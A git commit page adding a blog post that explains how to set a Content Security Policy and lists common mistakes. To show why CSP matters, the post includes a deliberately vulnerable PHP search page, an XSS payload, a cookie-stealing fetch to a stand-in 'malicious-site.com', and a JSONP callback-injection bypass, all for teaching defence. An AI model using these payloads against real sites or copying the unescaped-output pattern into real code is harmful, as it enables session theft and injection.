Updates everything
This commit is contained in:
parent
ea220efc38
commit
7cf34b3650
24 changed files with 1305 additions and 11 deletions
360
content/blog/021-csp.md
Normal file
360
content/blog/021-csp.md
Normal file
|
@ -0,0 +1,360 @@
|
|||
---
|
||||
title: Setting a good Content Security Policy
|
||||
date: 2024-08-22
|
||||
tags:
|
||||
- Security
|
||||
- Websites
|
||||
description: >
|
||||
Setting a good CSP can be hard. Here I go through what it is, and how to set
|
||||
it up well.
|
||||
---
|
||||
|
||||
The Content Security Policy (CSP) is a powerful security feature that helps
|
||||
protect your website from cross-site scripting (XSS) attacks and other types of
|
||||
code injection vulnerabilities. There are some directives that do other things,
|
||||
but the bulk of this blog post will cover using the `fetch-directives`, or the
|
||||
elements of the CSP that allow you to specify a allow-list of approved sources
|
||||
from which resources This helps prevent malicious code from being executed on
|
||||
your site.
|
||||
|
||||
To implement CSP, you need to set the Content-Security-Policy HTTP header on
|
||||
your web server. Here's an example of what a basic CSP header might look like:
|
||||
|
||||
```
|
||||
Content-Security-Policy: default-src 'self'; script-src 'self' https://example.com
|
||||
```
|
||||
|
||||
Let's break down the different directives in this example:
|
||||
|
||||
- `default-src 'self'`: This sets the default source for all resource types to the same origin (i.e., your own website). This is a good baseline to start with.
|
||||
- `script-src 'self' https://example.com`: This specifies that scripts can only be loaded from your own site (`'self'`) and the `https://example.com` domain. This helps prevent the execution of any unauthorized scripts.
|
||||
|
||||
It is worth noting that default-src applies to all source types that haven't
|
||||
been explicitly specified. Any sources that are explicitly specified overwrite
|
||||
then default-src, they are not added to it.
|
||||
|
||||
Consider the following:
|
||||
|
||||
```
|
||||
Content-Security-Policy: default-src 'self'; script-src https://example.com
|
||||
```
|
||||
|
||||
This will not allow scripts to sourced from the current origin, despite `'self'`
|
||||
being in the `default-src` directive.
|
||||
|
||||
You can further customize the CSP header to suit your website's specific needs.
|
||||
For example, you might want to allow images to be loaded from a content delivery
|
||||
network (CDN), or allow fonts from a third-party font provider. Here's an
|
||||
example of a more comprehensive CSP header:
|
||||
|
||||
```
|
||||
Content-Security-Policy: default-src 'self'; script-src 'self' https://example.com; style-src 'self' https://cdn.example.com; img-src 'self' https://cdn.example.com; font-src 'self' https://fonts.gstatic.com
|
||||
```
|
||||
|
||||
In this example, we've added directives for styles, images, and fonts, allowing
|
||||
them to be loaded from specific approved sources.
|
||||
|
||||
It's important to note that implementing CSP is an iterative process. You'll
|
||||
likely need to adjust your policy as you add new features and functionality to
|
||||
your website. A good approach is to start with a strict policy and gradually
|
||||
loosen it as needed, while keeping security as the top priority.
|
||||
|
||||
Whilst testing, it may be useful to use the
|
||||
[content-security-policy-report-only](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy-Report-Only)
|
||||
header. Whilst it doesn't provide any protection, it also won't break an
|
||||
existing site as it only reports report violations, rather than blocking them.
|
||||
|
||||
## Why Bother
|
||||
|
||||
So, we have an idea of how to set a CSP, but not why we may want to. The main
|
||||
reason to have a strong CSP set is to protect against injection attacks. The
|
||||
most common of these is cross-site-scripting, where JavaScript is injected;
|
||||
although other types do exist when injecting malicious css (style-injection), or
|
||||
images (image-injection). The example below explains one way in which script
|
||||
injection, or cross-site-scripting, is bad.
|
||||
|
||||
Take the following simple PHP search page:
|
||||
|
||||
```php
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Vulnerable Search Page</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Search Our Website</h1>
|
||||
<form method="GET" action="/search.php">
|
||||
Search: <input type="text" name="search">
|
||||
<input type="submit" name="submit" value="Search">
|
||||
</form>
|
||||
|
||||
<?php
|
||||
if(isset($_GET['search'])) {
|
||||
echo "<h2>You searched for: " . $_GET['search'] . "</h2>";
|
||||
}
|
||||
|
||||
//Some logic to display search results
|
||||
?>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
The important factor here is that the users search query (`$_GET['search']`) is
|
||||
output verbatim, without encoding or sanitising it.
|
||||
|
||||
If I perform a search for `<script>alert(1);</script>`, the following h2 tag will be sent to the browser:
|
||||
|
||||
```
|
||||
<h2>You searched for: <script>alert(1);</script></h2>
|
||||
```
|
||||
|
||||
The browser will see that, and interpret the script tag as a script it should
|
||||
execute. `alert(1)` is a relatively benign function that we often use to
|
||||
demonstrate the issue exists, without causing significant issues to the site.
|
||||
However, now imagine changing `alert(1)` for
|
||||
`fetch('https://malicious-site.com?c=' + document.cookie)`.
|
||||
|
||||
Now my cookies have been sent to a malicious site for the owner to do with as
|
||||
they please.
|
||||
|
||||
The content-security-policy can be use to add a layer of protection here. When
|
||||
set strictly, the browser can "know" that the script tag in the h1 tag isn't on
|
||||
a pre-approved list, so the browser won't execute it.
|
||||
|
||||
## Potential Mistakes
|
||||
|
||||
So, now we know why you might want a CSP, and how to set one, we'll look at some
|
||||
of the most common mistakes I see people make.
|
||||
|
||||
### `'unsafe-inline'` source
|
||||
|
||||
This source is very frequently added to a CSP, without realising it severely
|
||||
limits the protection that it can offer. Most online generators will add it as,
|
||||
in their current setup, most sites use inline resources. An inline resource is,
|
||||
as the name suggests, most script or style resources that are not external.
|
||||
|
||||
So,
|
||||
|
||||
```html
|
||||
<script>console.log("Inline");</script>
|
||||
<img src="something.jpg" onclick="console.log('Also Inline')" />
|
||||
<script src="/not-inline.js"></script>
|
||||
|
||||
<style>
|
||||
body{
|
||||
background-color: red; /*inline*/
|
||||
}
|
||||
</style>
|
||||
<img style="background-color: red; /*also inline*/" />
|
||||
<link rel="stylesheet" href="/not-inline.css" />
|
||||
```
|
||||
|
||||
The problem here is that, more often than not, inline JS is the easiest way to
|
||||
achieve XSS. The search example we used earlier added an inline script tag, so
|
||||
a CSP with unsafe-inline would not have prevented it from executing.
|
||||
|
||||
There are a number of better options here. First is externalising scripts. So,
|
||||
moving inline JS into an external file and adding it to the allow-list.
|
||||
|
||||
If that isn't possible, or practical, another option is to use the special
|
||||
`<hashtype>-<hash>` sources, or `nonce-<nonce>` sources. These allow you to add
|
||||
specific inline scripts to the allow-list, without allowing all inline scripts.
|
||||
Just make sure not to fall into the [potential mistakes with nonce
|
||||
sources](#nonce-source).
|
||||
|
||||
### `'unsafe-eval'` source
|
||||
|
||||
The unsafe-eval source is only relevant for JavaScript, and allows scripts to
|
||||
run `eval()`, and a couple of other similar functions. The most common use for
|
||||
eval I've seen is when targeting older JS environments that not have native
|
||||
JSON support as an alternative to `JSON.parse()`.
|
||||
|
||||
So, consider the following:
|
||||
|
||||
```js
|
||||
const jsonString = document.getElementById('someTextArea').value;
|
||||
const jsonObject = eval(jsonString2 );
|
||||
```
|
||||
|
||||
If the contents of the text area were:
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "Jane Doe",
|
||||
"age": 25
|
||||
}
|
||||
```
|
||||
|
||||
then:
|
||||
|
||||
```
|
||||
console.log(jsonObject.name); // Output: "Jane Doe"
|
||||
```
|
||||
|
||||
However, if the contents of the text area were `alert(1)`, then we are in the
|
||||
situation again whereby unsafe JavaScript is being executed. Unfortunately,
|
||||
there are a lot of different uses of eval, so a "fix" for all of them is
|
||||
unlikely. However, most modern frameworks do not need to use eval, so disabling
|
||||
it is preferable if possible.
|
||||
|
||||
### Nonce source
|
||||
|
||||
The nonce source allows site maintainers to allow some inline sources to be
|
||||
included. We've been using JavaScript as examples, so I will continue to do so,
|
||||
but note that this is also relevant for CSS.
|
||||
|
||||
```
|
||||
Content-Security-Policy: script-src 'nonce-uph5Fai4'
|
||||
```
|
||||
|
||||
```
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Example</title>
|
||||
<script nonce="uph5Fai4">
|
||||
console.log("This will run");
|
||||
</script>
|
||||
<script>
|
||||
console.log("This won't");
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Our Website</h1>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
For the nonce source to be effective, it must be unpractical for malicious actor
|
||||
to guess the nonce. In practice, this generally means using a long and random
|
||||
string of characters for each response. The nonce should not be re-used. If a
|
||||
malicious actor can guess what a nonce is, then they can simply add the
|
||||
attribute to their injected payload.
|
||||
|
||||
### JSONP Sources
|
||||
|
||||
JSONP (JSON with Padding) is a technique used to bypass the same-origin policy,
|
||||
which is a security feature implemented by web browsers to prevent a web page
|
||||
from making requests to a different domain than the one that served the web
|
||||
page.
|
||||
|
||||
The way JSONP works is as follows:
|
||||
|
||||
1. The client-side code defines a function, to processes JSON data.
|
||||
1. A `<script>` tag is created with its `src` attribute to a URL that returns a JSON response, with the name of the previously defined function specified.
|
||||
2. The server-side code wraps the JSON response in a function call, with the function name provided.
|
||||
|
||||
Here's an example:
|
||||
|
||||
Client-side HTML:
|
||||
|
||||
```html
|
||||
<script>
|
||||
function handleResponse(data) {
|
||||
console.log(data);
|
||||
}
|
||||
</script>
|
||||
<script src="https://example.com/data?callback=handleResponse"></script>
|
||||
```
|
||||
|
||||
The response to that data script would look something like:
|
||||
|
||||
```javascript
|
||||
handleResponse({
|
||||
"name": "John Doe",
|
||||
"age": 30
|
||||
});
|
||||
```
|
||||
|
||||
JSONP was a popular technique in the past, as it allowed developers to make
|
||||
cross-domain requests without running into the same-origin policy.
|
||||
|
||||
However, if a user is able to inject a script tag into a document, and a CDN
|
||||
that is known to host JSONP endpoints is on the allow-list, they could include
|
||||
something like
|
||||
|
||||
```html
|
||||
<script src="https://example.com/data?callback=alert(1);handleResponse"></script>
|
||||
```
|
||||
|
||||
Most implementations will then return the following:
|
||||
|
||||
```javascript
|
||||
alert(1);handleResponse({
|
||||
"name": "John Doe",
|
||||
"age": 30
|
||||
});
|
||||
```
|
||||
|
||||
JSONP is now generally discouraged, in favour of
|
||||
[CORS](https://jakearchibald.com/2021/cors/), which allows site owners to
|
||||
explicitly allow some resources to be requested across origins. However, note
|
||||
that many CDNs host JSONP endpoints, so even if your site doesn't use them,
|
||||
allowing a domain that hosts them is enough to provide a CSP bypass in many
|
||||
situations. The CSP does allow sub directories or even specific files to be
|
||||
added to the allow-list, so if unsure about whether a CDN provides JSONP
|
||||
endpoints, you may wish to explicitly allow a specific file on the CDN, rather
|
||||
than all files.
|
||||
|
||||
For example:
|
||||
|
||||
```
|
||||
Content-Security-Policy: script-src http://example.com/file.js;
|
||||
```
|
||||
|
||||
as opposed to
|
||||
|
||||
```
|
||||
Content-Security-Policy: script-src http://example.com/;
|
||||
```
|
||||
|
||||
### Domains Which Allow Uploads
|
||||
|
||||
When you include a domain in your CSP, you're essentially giving control of your
|
||||
website's security to that platform and all the developers who publish code on
|
||||
it. Not only does this potentially introduce [supply chain
|
||||
attacks](https://thehackernews.com/2024/07/polyfillio-attack-impacts-over-380000.html),
|
||||
many CDNs also allow public submission. Unpkg, for instance, is a popular CDN
|
||||
that hosts everything on NPM. All you need to submit code to it is a free NPM
|
||||
account. If a CSP includes unpkg, or one of the many similar services, in their
|
||||
CSP; anyone can submit code that the CSP will allow to run.
|
||||
|
||||
#### Self source
|
||||
|
||||
It is worth noting that the `'self'` keyword can introduce a similar issue.
|
||||
|
||||
The `'self'` source is a shortcut to allow sources from
|
||||
the current [origin](https://developer.mozilla.org/en-US/docs/Glossary/Origin).
|
||||
|
||||
The difference between origin and site has been discussed [elsewhere in more
|
||||
detail](https://jakearchibald.com/2021/cors/#origins-vs-sites), but briefly, an
|
||||
origin is defined by scheme (protocol), hostname (domain), and port of the url.
|
||||
Sub domains are a different origin, although often the same same site.
|
||||
|
||||
```
|
||||
https://example.jonathanh.co.uk:443/something/cool
|
||||
│ │
|
||||
└────────────Origin───────────────┘
|
||||
|
||||
https://example.jonathanh.co.uk:443/something/cool
|
||||
│ │
|
||||
└────Site─────┘
|
||||
```
|
||||
|
||||
Normally, including `'self'` is safe, although care should be taken if you allow
|
||||
users of your site to upload content, and that content is accessible on the same
|
||||
origin. If so, a user could potentially upload a malicious file and bypass the
|
||||
CSP as the file is available under the `'self'` domain.
|
||||
|
||||
|
||||
### Other Permissive Sources
|
||||
|
||||
The following are considered permissive. I won't go into too much detail for
|
||||
each, but ideally you should avoid using:
|
||||
|
||||
* `https:` - Any source that is hosted on an encrypted server. A malicious actor
|
||||
can very easily spin up a server with a valid certificate
|
||||
* `data:` - Any source that can be loaded via a data scheme. In most cases, this
|
||||
just involves base64 encoding a payload.
|
||||
|
||||
|
Loading…
Add table
Add a link
Reference in a new issue